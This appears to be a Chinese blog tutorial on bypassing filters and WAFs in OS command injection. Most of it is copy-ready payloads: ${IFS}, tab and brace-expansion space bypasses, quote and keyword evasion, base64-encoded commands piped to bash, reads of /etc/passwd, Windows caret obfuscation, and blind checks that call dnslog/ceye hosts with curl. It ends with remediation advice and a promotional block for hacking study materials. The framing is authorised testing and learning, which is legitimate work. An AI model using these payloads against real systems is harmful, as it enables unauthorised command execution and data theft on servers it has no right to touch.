🔒免责声明:本文仅供授权渗透测试、红蓝对抗、网络安全学习研究,所有实验必须在自建隔离靶场操作。未经授权对互联网业务执行命令注入攻击属于违法行为,请严格遵守网络安全法律法规。

前言

命令注入(OS Command Injection,CWE‑77)是 Web 渗透中经典高危漏洞。漏洞根源:开发者直接把用户可控输入拼接到系统 shell 命令中,攻击者注入 shell 元字符,篡改原有命令逻辑,执行任意操作系统命令。

实战环境里几乎不会遇到完全没有过滤的靶场。开发会做黑名单过滤:空格、单双引号、分号、管道|、&、&&、||、$、反引号全部被拦截;同时还会过滤cat、ls、whoami这类危险命令关键字。很多新人复制网上基础 Payload 直接打线上环境,发现全部失效,核心原因就是不熟悉 shell 语法的各种变形绕过。

Linux 下 bash、dash、sh 语法存在差异;Windows cmd、PowerShell 又有另一套完全不一样的符号规则。不同 WAF、业务黑名单过滤逻辑各不相同,没有万能 Payload,需要理解底层 shell 解析原理,组合各类绕过技巧。

本文万字完整整理,从漏洞基础、元字符详解,分模块讲解空格绕过、引号绕过、命令分隔符绕过、关键字过滤绕过、盲命令注入、Windows 平台绕过、WAF 多层混淆、实战排错清单、代码审计、蓝队完整修复加固方案,附带大量可直接测试实战 Payload。

ATT&CK 映射:T1059 命令解释器执行,T1203 利用客户端控制执行,T1190 面向公众漏洞利用。
测试环境说明:大部分 Linux Payload 基于 bash;部分 Payload 在 dash (/bin/sh) 会失效,实战需要注意 shell 环境差异。

一、命令注入基础原理与 Shell 元字符

1.1 漏洞触发示例(PHP)

危险代码,直接拼接用户输入到 shell:

<?php
$ip = $_GET['ip'];
system("ping -c 1 ".$ip);
?>

正常访问:?ip=127.0.0.1,执行ping -c 1 127.0.0.1。
原始无过滤攻击 payload:?ip=127.0.0.1;id,shell 实际执行两条命令:

ping -c 1 127.0.0.1
id

漏洞成立核心:用户可控变量直接拼接到 shell 命令字符串,交给 system ()、exec ()、shell_exec ()、passthru () 等函数调用操作系统解析执行。

1.2 Linux Shell 常用危险元字符

符号作用
;命令分隔,顺序执行多条命令
``管道,前命令输出交给后命令输入
&后台执行,同时执行前后命令
&&逻辑与,前面命令执行成功才执行后面
``逻辑或,前面执行失败才执行后面
$()命令替换,括号内命令执行,替换输出结果
\ ``反引号,等同于 $() 命令替换
$变量解析,读取环境变量
>/>>重定向输出,写入文件
<输入重定向读取文件
%0a(url 编码换行\n)换行分割多条命令
%0d(url 编码回车\r)回车,部分 shell 支持分割命令

很多业务黑名单就是拦截上面这些元字符。一旦部分符号被过滤,就需要使用各类语法变形绕过。

1.3 盲命令注入概念

很多场景页面没有命令回显,看不到 whoami、id 输出,称为盲命令注入。
验证手段三种:

  1. 延时 sleep:sleep 5,观察 HTTP 响应时间是否增加 5 秒;
  2. DNSlog 外带:curl xxx.dnslog.cn,看 DNS 日志收到解析请求;
  3. 写本地文件:把命令输出重定向写入 web 目录文件,再访问读取结果。

盲注入不能看页面返回判断是否执行,很多新人踩坑:页面空白就判定漏洞不存在。

二、过滤空格的全部绕过姿势(实战最高频)

业务中最常过滤空格。因为 ping、ip、域名等正常业务参数本身不需要空格,开发直接把空格加入黑名单。

目标:执行 cat /etc/passwd,但是禁止输入普通空格 。

2.1 ${IFS} 环境变量绕过(bash 最常用)

IFS 是 shell 内部字段分隔符,默认值包含:空格、tab、换行。${IFS}可以直接代替空格。

cat${IFS}/etc/passwd
id${IFS};whoami
ls${IFS}-la

注意坑:$IFS不加花括号,当后面紧跟数字字母时,shell 会把IFSxxx当成一个全新变量,变量为空,Payload 失效。
改良写法,搭配空变量$9(shell 位置参数,没有传参时值为空字符串),避免变量名粘连:

cat$IFS$9/etc/passwd
id$IFS$9&&whoami

注意:dash (/bin/sh) 下部分 IFS 变形会失效,优先使用${IFS}大括号版本。

2.2 Tab 制表符 %09 URL 编码绕过

Tab 制表符\t和空格功能等价,URL 编码后是%09,http 请求中直接传入 %09 代替空格。

ping%09-c%091%09127.0.0.1;cat%09/etc/passwd

原始 shell 文本写法(数据包 raw 里):

cat	/etc/passwd

2.3 重定向符号 <> < 绕过空格

<输入重定向、<>同时输入输出重定向,shell 解析时,命令和文件之间不需要空格分隔。

cat</etc/passwd
cat<>/etc/passwd
echo<>1.txt

限制:只能用于命令 + 文件名之间,不能用于命令参数,例如ls -la这种带参数的场景无法使用。

2.4 Bash 大括号扩展 {,} 绕过空格

bash 特有语法,{cat,/etc/passwd}逗号会被解析成分隔,自动插入空格。逗号前后不能写空格!

{cat,/etc/passwd}
{id,;whoami}
{curl,xxx.dnslog.cn}

重要:dash/sh 不支持该语法,只在 bash 环境生效,很多 docker、ubuntu 默认 /bin/sh 是 dash,Payload 直接失效。

2.5 变量拼接构造空格

把空格赋值给变量,调用变量充当分隔符。

x=$'\x20';cat$x/etc/passwd

2.6 实战 Payload 汇总(过滤空格场景)

127.0.0.1;cat${IFS}/etc/passwd
127.0.0.1%09;cat$IFS$9/etc/passwd
127.0.0.1;cat</etc/passwd
127.0.0.1;{cat,/etc/passwd}

空格绕过踩坑总结

  1. ${IFS}兼容性最好,优先测试;{,}大括号只支持 bash;
  2. dash 环境不要使用{,},会直接报语法错误;
  3. $IFS不加 {} 容易出现变量粘连,尽量带上$9空变量截断;
  4. <重定向仅适用于命令 + 文件名,不能用于带命令参数场景。

三、过滤引号(单引号 '、双引号 ")绕过姿势

当黑名单拦截单引号、双引号,无法直接使用引号包裹字符串。同时也包含另一种场景:原始 PHP 代码把用户输入包裹在引号内,需要闭合引号实现逃逸。

3.1 空引号切割关键字(引号没有被完全过滤)

没有过滤引号,但过滤完整关键字,插入成对空引号,shell 解析会直接删除空引号,命令正常执行。

c""at /etc/passwd
w'h'o'a'm'i
ca''t fla''g.txt

shell 解析后等价于cat /etc/passwd,引号被剥离,用来绕过完整字符串匹配黑名单。

3.2 反斜杠转义拆分命令(Linux bash)

在字符之间插入反斜杠\,shell 解析时忽略行尾反斜杠,拼接字符。

c\a\t /e\tc/\pa\sswd
w\h\o\a\m\i

3.3 $@ 位置参数变形绕过

$@代表全部传入参数,值为空,插入命令字符中间,shell 直接忽略。

c$@at /etc/passwd
wh$@o$@ami

3.4 printf 十六进制、八进制编码构造字符串(完全禁止引号)

当单双引号全部被过滤,使用printf输出十六进制字节,配合$()命令替换生成完整命令字符串。

$(printf\x20\x63\x61\x74\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64)

示例:printf 输出 ls:

$(printf "\x6c\x73")

注意:部分环境\x十六进制不支持,改用八进制\144格式。

3.5 base64 编码绕过,不需要引号

把命令 base64 编码,通过 base64‑d 解码交给 bash 执行。
原始命令:cat /etc/passwd,base64 编码:Y2F0IC9ldGMvcGFzc3dk
payload:

echo${IFS}Y2F0IC9ldGMvcGFzc3dk|base64${IFS}-d|bash

优点:整个 Payload 里面不需要单引号、双引号,适合引号被彻底拉黑场景。

3.6 逃逸引号包裹的命令上下文(业务代码把输入放在引号内)

PHP 示例危险代码:

system("ping '$_GET[ip]'");

用户输入被包裹在单引号里面,需要先闭合单引号,注入命令,再补上引号保证语法不报错。
payload:

127.0.0.1';id;'

拼接后 shell 命令:

ping '127.0.0.1';id;''

如果是双引号包裹输入:payload:127.0.0.1";id;"。

四、过滤命令分隔符:; | & && || 绕过姿势

开发经常把; | & && ||全部加入黑名单,无法直接分割多条命令。此时可用换行符、命令替换、重定向等思路。

4.1 换行符分割命令 %0a(\n)

URL 编码换行%0a,shell 解析换行等同于命令分隔符,多条命令分行执行,绕过分号;过滤。
原始 http get payload:

?ip=127.0.0.1%0aid
?ip=127.0.0.1%0acat${IFS}/etc/passwd

raw 数据包中直接写\n换行。

%0d 回车 \r 在部分老版本 shell 也支持分割,兼容性不如 %0a。

4.2 $() 命令替换绕过分隔符过滤

即使没有分号管道,使用$(命令),shell 会优先执行括号内的子命令。
示例原始代码:ping $ip,过滤;|&,可以构造:

ip=127.0.0.1$(id)

shell 执行:ping 127.0.0.1$(id),子 shell 执行 id 命令。

盲注入场景:127.0.0.1$(sleep${IFS}5),通过延时判断是否执行成功。

4.3 反引号 ``` 命令替换

和$()功能等价,部分环境$被过滤,可以尝试反引号。

ping `id`

注意:反引号也经常被 WAF 黑名单拦截,作为备选手段。

4.4 重定向结合文件写入,间接执行命令

分隔符全部拦截,先把恶意命令写入本地文件,再通过 source 执行脚本文件。

echo${IFS}"id">>/tmp/t.sh&&source${IFS}/tmp/t.sh

4.5 不同分隔符逻辑区分(排错必看)

符号行为
;无论前面命令成功失败,后面一定执行
&&前面命令返回码 0(成功)才执行后面
``前面命令执行失败,才执行后面
&后台运行,前后命令同时执行
``管道,前输出作为后输入

实战如果 payload 不执行,要思考:前面 ping 命令是否报错,导致&&后面命令不会运行,此时优先用;或者%0a换行。

五、过滤命令关键字(cat、ls、whoami、curl)绕过

黑名单拦截危险命令字符串,例如禁止 cat 读取文件,禁止 curl 外带数据。

5.1 替换等价命令

读取文件替代 cat:

tac 文件名   #倒序输出
nl 文件名    #带行号输出
more 文件名
less 文件名
head 文件名
tail 文件名
od -a 文件名
strings 文件名

示例:tac${IFS}/etc/passwd

5.2 通配符 glob 绕过(* ? [])

shell 通配符,*匹配任意多个字符,?匹配单个字符,[]匹配括号内其中一个字符。

c?t /etc/passwd
ca* /etc/passwd
/bin/c?t /etc/passwd
cat /etc/p*sswd
cat /etc/?asswd
cat /e[tc]/passwd

示例:过滤 cat,/bin/c?t,shell 会匹配 /bin/cat。

5.3 字符串切割环境变量截取字符

bash 支持变量切片 ${变量:起始:长度},从系统环境变量截取字符拼接命令字符,不需要写完整关键字。

${PATH:0:1}  #取出PATH变量第一个字符 /
${HOME:0:1}

组合示例,拼接出 cat 命令字符。适合严格黑名单,几乎所有字面字符都被拦截场景。

5.4 base64 编码间接执行命令

前面提到,不直接写原始命令文本,base64 编码后解码执行。

echo${IFS}d2hvYW1p|base64${IFS}-d|bash

5.5 命令存在路径变形

命令不一定写绝对路径,利用 PATH 环境变量;也可以写完整路径绕过简单字符串匹配。

/bin/cat
/usr/bin/whoami

六、多层过滤综合实战 Payload 案例

真实业务往往同时过滤空格、分号、cat 等,需要多重技巧组合。

案例 1:过滤空格、过滤;,允许 $()

条件:禁止空格、禁止分号,允许$()
payload:

127.0.0.1$(cat</etc/passwd)
127.0.0.1$(sleep$IFS$95)

案例 2:过滤空格、引号、管道符,盲注入 DNSlog 外带

payload:

127.0.0.1%0aecho${IFS}Y3VybCB4eHguZG5zbG9nLmNu|base64${IFS}-d|bash

案例 3:黑名单拦截 cat,读取 flag 文件

payload:

127.0.0.1;nl${IFS}fl*g
127.0.0.1%0atac<flag.txt

七、Windows cmd / PowerShell 命令注入绕过

前面全部是 Linux bash,Windows 环境语法完全不一样,很多 Payload 不能直接复用。

cmd.exe 重点绕过

  1. 命令分隔符:&、&&、||、%0a换行;
  2. 空格过滤:%09tab 可以代替空格;
  3. 转义字符:脱字符^,可以用来分割字符,过滤关键字:
w^h^o^a^m^i
ty^pe c:\win^dows\win.ini
  1. 读取文件 type 命令代替 cat;
type c:\windows\win.ini

cmd 简单 payload 示例:

127.0.0.1&whoami
127.0.0.1%0atype%09c:\windows\win.ini
127.0.0.1||w^h^o^a^m^i

PowerShell 环境

  1. 换行反引号 \n`;
  2. 分隔符;、&;
  3. base64 编码执行:powershell 支持 base64 编码命令参数;
powershell -enc base64字符串

实战注意:同一个 Web 应用,后端操作系统是 Linux 还是 Windows,直接决定 Payload 是否生效,可以通过 sleep 延时简单判断。

八、盲命令注入完整测试方法论

页面没有回显,看不到输出结果,这是线上 SRC 最常见场景。

步骤 1:延时探测 sleep

Linux:

127.0.0.1;sleep${IFS}3
127.0.0.1$(sleep$IFS$94)
127.0.0.1%0asleep%095

观察 http 响应时间,如果页面延迟 3‑5 秒返回,证明命令执行成功。

Windows cmd 延时:

ping -n 5 127.0.0.1

步骤 2:DNSlog/CEYE 外带(优先推荐)

构造 payload 发起 DNS 请求,外网 dnslog 平台记录解析日志,确认命令执行。

127.0.0.1;curl${IFS}xxx.ceye.io
127.0.0.1%0acurl$IFS$9xxx.dnslog.cn

坑:服务器内网隔离,无法访问外网 DNS 服务器,此时 DNSlog 无记录,不能直接判定漏洞不存在,改用写文件方式。

步骤 3:重定向写入 Web 文件获取回显

把命令输出重定向写入 web 可访问目录,之后浏览器直接访问该文件拿到结果。

127.0.0.1;id>${IFS}./out.txt
127.0.0.1%0acat${IFS}/etc/passwd>./res.txt

然后浏览器访问http://xxx.com/out.txt读取执行输出。

注意:需要知道网站 web 绝对路径,不知道路径则该方法无法使用。

九、WAF 绕过高级混淆思路

当基础 Payload 被 WAF 拦截,可以叠加下面混淆手段。

  1. URL 双重编码:对 payload 整体做两次 url 编码,绕过浅层 WAF 检测;
  2. 大小写变形:bash 命令大小写敏感,但是部分工具 / Windows 不敏感;
  3. 多行换行拆分 payload,把完整命令拆分成多行;
  4. 多种绕过组合:通配符 + base64 + ${IFS};
  5. 利用 shell 注释#,截断后面原有语法。

注意:混淆不是万能,现代 WAF 支持解码后检测,过度混淆反而更容易触发告警。

十、实战踩坑排错清单(大量新人踩坑点)

问题 1:Payload 复制过来完全不执行,没有延时、DNSlog 也没记录

排查清单:

  1. 确认漏洞点确实拼接到 shell 命令;很多参数只是传给代码函数,根本没有调用系统 shell,不存在命令注入;
  2. 确认后端 shell 环境:bash /dash/sh /cmd/powershell;{,}大括号语法 dash 不支持;
  3. WAF 直接拦截整个 http 请求包,直接丢弃数据包,根本没有到达后端代码;
  4. 黑名单把 Payload 里面关键元字符过滤替换为空,比如把;替换成空字符串;
  5. 权限限制:Web 进程低权限,部分命令被禁用;
  6. 变量粘连:$IFSid没有加{}或者$9,shell 识别错误变量。

问题 2:sleep 延时 payload 成功,但是 cat 读取文件看不到内容

  1. 盲注入,本身就没有回显,不要看页面输出;使用写文件 / DNSlog;
  2. 文件路径错误,没有权限读取目标文件;
  3. 命令执行成功,但输出输出到 stderr 标准错误,不是 stdout 标准输出;可以重定向错误输出 2>&1。

问题 3:Payload 本地 bash 测试正常,放到 web 靶场失效

最常见原因:后端 shell 是 dash (/bin/sh),很多 bash 特有语法{,}、部分 IFS 变形 dash 不兼容,更换 POSIX 标准 Payload。

误区总结

误区 1:网上 Payload 通用,复制就可以打所有环境

❌错误。shell 版本不同、过滤黑名单不同、操作系统 Linux/Windows 差异,Payload 需要针对性调整。

误区 2:页面看不到输出就代表漏洞不存在

❌错误。盲命令注入,命令已经执行,输出不会返回 web 页面,必须 sleep、DNSlog、写文件判断。

误区 3:只要出现;$ | 符号就一定可以注入

❌错误。如果输入没有拼接到系统 shell,只是在 PHP/Python 代码字符串里面,不会触发命令注入。

误区 4:过滤空格就完全无法注入

❌错误。shell 提供大量语法可以不使用字面空格完成命令执行,${IFS}、%09、<>、大括号扩展等多种方案。

十一、蓝队:漏洞代码审计、检测与完整修复加固

11.1 代码审计危险特征

PHP 危险函数:system()、exec()、shell_exec()、passthru()、popen()、proc_open()、\反引号`。 Python 危险:os.system()、os.popen()、subprocess.call(shell=True)。 Java 危险:Runtime.getRuntime().exec()`,ProcessBuilder 开启 shell。

核心风险点:函数开启 shell 解析,且参数包含用户可控输入。
安全写法:关闭 shell,直接传入参数数组,不要拼接字符串。

Python 不安全:

os.system("ping -c 1 " + user_input)
subprocess.call("ping -c 1 "+user_input,shell=True)

Python 安全写法,不启用 shell,参数列表形式:

subprocess.call(["ping","-c","1",user_input])

PHP 安全:尽量避免调用 system 系列函数;业务需要 ping 功能,使用 PHP 自带 Socket 库实现,不调用操作系统 ping 命令。

11.2 修复加固分层方案

方案 1:最优方案,杜绝调用系统 shell(优先选择)

能用语言自带库函数实现业务,就不要调用操作系统 shell 命令。比如 ping、域名解析,使用代码内置网络 API,完全不碰 shell,从根源消除命令注入风险。

方案 2:必须调用系统命令,禁止 shell 字符串拼接,使用参数数组

不要拼接用户输入到命令字符串;使用参数列表方式,用户输入只会当做命令参数,不会被 shell 解析元字符。

方案 3:输入白名单校验(次选)

如果业务输入格式固定(例如 ip 地址),严格白名单,只允许数字、点等合法字符;拒绝所有 shell 元字符; $ | & " ' \n \r > < 。

注意:黑名单永远不可靠,shell 绕过姿势层出不穷,黑名单很容易被绕过,尽量不用黑名单做防护。

方案 4:运行环境最小权限

Web 服务进程使用最低权限账号运行,即使发生命令注入,限制攻击者能执行操作,减少危害。禁止 root、administrator 运行 web 业务。

方案 5:WAF、日志监控

监控访问日志中出现${IFS}、base64‑d、sleep、curl dnslog 等攻击特征,做告警拦截。WAF 仅作为缓解手段,不能作为唯一防护。

重要结论:黑名单过滤无法彻底防御命令注入漏洞。shell 语法变形绕过方式极多,新的绕过手法会持续出现。不要依靠过滤特殊字符当做主要防护手段。

总结

命令注入绕过核心,本质吃透 shell 解析语法。空格可以用({IFS}、%09、<>、bash大括号扩展;引号可以空引号切割、反斜杠、base64、printf十六进制;分隔符被拦截优先使用%0a换行、\)() 命令替换;关键字过滤可以等价命令替换、glob 通配符、编码变形。

实战分为 Linux bash/dash 和 Windows cmd/PowerShell 两套 Payload 体系,很多 Payload 跨 shell 直接失效,一定要区分后端环境。线上环境大量都是盲命令注入,不要依赖页面回显,依靠 sleep 延时、DNSlog、写文件三种方式验证漏洞是否真实存在。

防御层面,黑名单不可靠,会被各类语法绕过;最优方案是尽量不调用系统 shell;如果必须调用系统命令,使用参数数组,禁止拼接用户可控输入到 shell 命令字符串,搭配输入白名单校验和最小权限运行。

本文全部 Payload 均来自公开安全研究,仅用于授权安全测试,严禁未授权实际环境利用。


最后

关于网络安全技术储备

网络安全是当今信息时代中非常重要的一环。无论是找工作还是感兴趣(黑客),都是未来职业选择中上上之选,为了保护自己的网络安全,学习网络安全知识是必不可少的。

如果你是准备学习网络安全(黑客)或者正在学习,下面这些你应该能用得上:

①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

一、网络安全(黑客)学习路线

网络安全(黑客)学习路线,形成网络安全领域所有的知识点汇总,它的用处就在于,你可以按照上面的知识点去找对应的学习资源,保证自己学得较为全面。

在这里插入图片描述

二、网络安全教程视频

我们在看视频学习的时候,不能光动眼动脑不动手,比较科学的学习方法是在理解之后运用它们,这时候练手项目就很适合了。

三、网络安全CTF实战案例

光学理论是没用的,要学会跟着一起敲,要动手实操,才能将自己的所学运用到实际当中去,这里带来的是CTF&SRC资料&HW资料,毕竟实战是检验真理的唯一标准嘛~

img

四、网络安全面试题

最后,我们所有的作为都是为就业服务的,所以关键的临门一脚就是咱们的面试题内容,所以面试题板块是咱们不可或缺的部分,这里我给大家准备的就是我在面试期间准备的资料。

在这里插入图片描述

网安其实不难,难的是坚持和相信自己,我的经验是既然已经选定网安你就要相信它,相信它能成为你日后进阶的高效渠道,这样自己才会更有信念去学习,才能在碰到困难的时候坚持下去。

机会属于有准备的人,这是一个实力的时代。人和人之间的差距不在于智商,而在于如何利用业余时间,只要你想学习,什么时候开始都不晚,不要担心这担心那,你只需努力,剩下的交给时间!

这份完整版的网络安全学习资料已经上传CSDN,朋友们如果需要可以微信扫描下方CSDN官方认证二维码免费领取【保证100%免费】

img

Logo

openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构

更多推荐